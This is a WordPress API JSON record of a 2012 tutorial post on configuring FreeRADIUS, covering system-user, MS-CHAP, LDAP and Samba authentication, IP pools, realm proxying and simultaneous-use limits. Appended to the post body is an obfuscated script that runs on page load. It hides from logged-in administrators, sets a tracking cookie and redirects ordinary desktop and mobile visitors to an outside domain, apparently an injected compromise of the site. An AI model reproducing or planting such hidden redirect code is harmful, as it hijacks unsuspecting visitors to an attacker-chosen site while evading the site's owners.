{"id":502,"date":"2012-05-09T00:45:59","date_gmt":"2012-05-08T16:45:59","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=502"},"modified":"2012-05-10T00:05:33","modified_gmt":"2012-05-09T16:05:33","slug":"freeradius-configuration","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/05\/09\/freeradius-configuration\/","title":{"rendered":"Freeradius configuration"},"content":{"rendered":"<p>Freeradius is powerful, however, you may find it is difficult to do configuration. This post try to include common configuration such that you may find useful for your setup.<br \/>\n<!--more--><\/p>\n<h1>User authentication using system user, e.g. \/etc\/passwd, \/etc\/shadow&#8230;<\/h1>\n<ol>\n<li>Ensure <strong>getent passwd &amp; getent shadow<\/strong> work as expected<\/li>\n<li>Uncomment <strong>unix<\/strong> within <strong>authorize<\/strong> in <strong>site-enabled\/default<\/strong><\/li>\n<li>Uncomment <strong>unix<\/strong> within <strong>authenticate<\/strong> in <strong>site-enabled\/default<\/strong> is <strong>NOT<\/strong> necessary<\/li>\n<li>Ensure <strong>Auth-Type PAP { pap }<\/strong> within <strong>authenticate<\/strong> in <strong>site-enabled\/default<\/strong> is defined<\/li>\n<\/ol>\n<p>Freeradius will use <strong>pap<\/strong> module to authenticate system user. This setup couldn&#8217;t authenticate MS-CHAP client, since MS-CHAP client won&#8217;t send you the clear text password.<\/p>\n<h1>Authenticate MS-CHAP client using ntlm_auth<\/h1>\n<ol>\n<li>Edit <strong>\/etc\/radiusclient\/dictionary<\/strong>, append following in the end\n<pre>INCLUDE \/etc\/radiusclient\/dictionary.merit\r\nINCLUDE \/etc\/radiusclient\/dictionary.microsoft<\/pre>\n<\/li>\n<li>Setup necessary secret word to the radius server in <strong>\/etc\/radiusclient\/servers<\/strong>, you should also define secret word even your radius server is local host<\/li>\n<li>Ensure <strong>mschap<\/strong> within <strong>authorize<\/strong> in <strong>site-enabled\/default<\/strong> is defined<\/li>\n<li>Ensure <strong>Auth-Type MS-CHAP { mschap }<\/strong> within <strong>authenticate<\/strong> in <strong>site-enabled\/default<\/strong> is defined<\/li>\n<li>Ensure winbindd &amp; sambe is well setup and ntlm_auth could authenticate user<\/li>\n<li>setup <strong>ntlm_auth<\/strong> in <strong>modules\/mschap<\/strong><\/li>\n<\/ol>\n<h1>Authenticate MS-CHAP client using Samba with LDPA backend<\/h1>\n<p>You could simply authenticate the user using <strong>ntlm_auth<\/strong> as above. However, Freeradius could get the sambaNTPassword from LDAP and authenticate the MS-CHAP request.<\/p>\n<ol>\n<li>Edit <strong>\/etc\/radiusclient\/dictionary<\/strong>, append following in the end\n<pre>INCLUDE \/etc\/radiusclient\/dictionary.merit\r\nINCLUDE \/etc\/radiusclient\/dictionary.microsoft<\/pre>\n<\/li>\n<li>Ensure the following mapping is exist in <strong>ldap.attrmap<\/strong>\n<pre>checkItem       LM-Password                     lmPassword\r\ncheckItem       NT-Password                     ntPassword \r\ncheckItem       LM-Password                     sambaLmPassword\r\ncheckItem       NT-Password                     sambaNtPassword<\/pre>\n<\/li>\n<li>Setup ldap connection parameter in <strong>modules\/ldap<\/strong><\/li>\n<li>Uncomment <strong>ldap<\/strong> in <strong>authorize<\/strong> in <strong>site-enabled\/default<\/strong><\/li>\n<\/ol>\n<h1>Authenticate with LDAP<\/h1>\n<ol>\n<li>Setup ldap connection parameter in <strong>modules\/ldap<\/strong><\/li>\n<li>Uncomment <strong>ldap<\/strong> in <strong>authorize<\/strong> in <strong>site-enabled\/default<\/strong><\/li>\n<li>Ensure <strong>Auth-Type LDAP { ldap }<\/strong> is defined within authenticate in <strong>site-enable\/default <\/strong><\/li>\n<li><strong>Please note that clear text password is required, so MS-CHAP is not supported<\/strong><\/li>\n<\/ol>\n<h1>Setup a pool of IP address for client<\/h1>\n<ol>\n<li>Setup <strong>range-start<\/strong> and <strong>range-stop<\/strong> in <strong>modules\/ippool<\/strong>, e.g., named <strong>main_pool<\/strong><\/li>\n<li>Uncomment <strong>main_pool<\/strong> in <strong>accounting<\/strong> and <strong>post-auth<\/strong> sections in <strong>sites-enabled\/default<\/strong><\/li>\n<li>Assign check-item <strong>Pool-Name<\/strong> in <strong>users<\/strong>file, e.g.,\n<pre>DEFAULT Framed-Protocol == PPP, Pool-Name := \"main_pool\"\r\n        Framed-Protocol = PPP, \r\n        Framed-Compression = Van-Jacobson-TCP-IP<\/pre>\n<p>All ppp client will be assign an IP adress from main_pool<\/li>\n<\/ol>\n<h1>Realm support<\/h1>\n<p>You can proxy access and accounting request to other RADIUS server base on realm, e.g., uid@realm<\/p>\n<ol>\n<li>Ensure <strong>suffix<\/strong> is defined in <strong>authorize<\/strong> and <strong>preacct<\/strong> sessions in <strong>sites-enabled\/default<\/strong><\/li>\n<li>define the realm in <strong>proxy.conf<\/strong>, e.g., to redirect @qstation request to xx.xx.xx.xx,\n<pre>\r\nrealm \"qstation\" {\r\n#      nostrip\r\n      authhost        = xx.xx.xx.xx\r\n      accthost        = xx.xx.xx.xx\r\n      secret xyzxyzxyz\r\n}\r\n<\/pre>\n<p>In case, the realm is handle by local, you may<\/p>\n<pre>\r\nrealm \"qstation\" {\r\n      nostrip\r\n      authhost        = LOCAL\r\n      accthost        = LOCAL\r\n}\r\n<\/pre>\n<p>For other detail setup, please refer to the comment of the file.\n<\/li>\n<\/ol>\n<h1>Simultaneous-Use<\/h1>\n<p>You can limit the number of con-current connection by a user, we don&#8217;t use any SQL in our setup but using flat files only, <strong>radutmp &#038; radwtmp<\/strong> only.<\/p>\n<ol>\n<li>Ensue <strong>radlast<\/strong> &#038; <strong>radwho<\/strong> work correctly, in case your radwho compile couldn&#8217;t find <strong>sradutmp<\/strong>, you could enable <strong>sradutmp<\/strong> module or symbolic link to <strong>radutmp<\/strong> as dirty hack.<\/li>\n<li>In <strong>user<\/strong> file, add &#8216;Simultaneous-Use&#8217; as check item, e.g.,\n<pre>\r\n  DEFAULT Group == \"staff\", Simultaneous-Use := 4\r\n          Fall-Through = 1\r\n  DEFAULT Group == \"business\", Simultaneous-Use := 2\r\n          Fall-Through = 1\r\n  DEFAULT Simultaneous-Use := 1\r\n          Fall-Through = 1\r\n<\/pre>\n<\/li>\n<\/ol>\n<h1>Radius accounting report<\/h1>\n<p>We do not use SQL as accounting, you may refer to the follow site to do RADIUS accounting<\/p>\n<ul>\n<li><a target=\"blank\" href=\"http:\/\/www.pgregg.com\/projects\/radiusreport\">http:\/\/www.pgregg.com\/projects\/radiusreport<\/a><\/li>\n<\/ul>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Freeradius is powerful, however, you may find it is difficult to do configuration. This post try to include common configuration such that you may find useful for your setup.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[3,27,8],"tags":[69],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/502"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=502"}],"version-history":[{"count":26,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/502\/revisions"}],"predecessor-version":[{"id":530,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/502\/revisions\/530"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=502"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=502"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=502"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}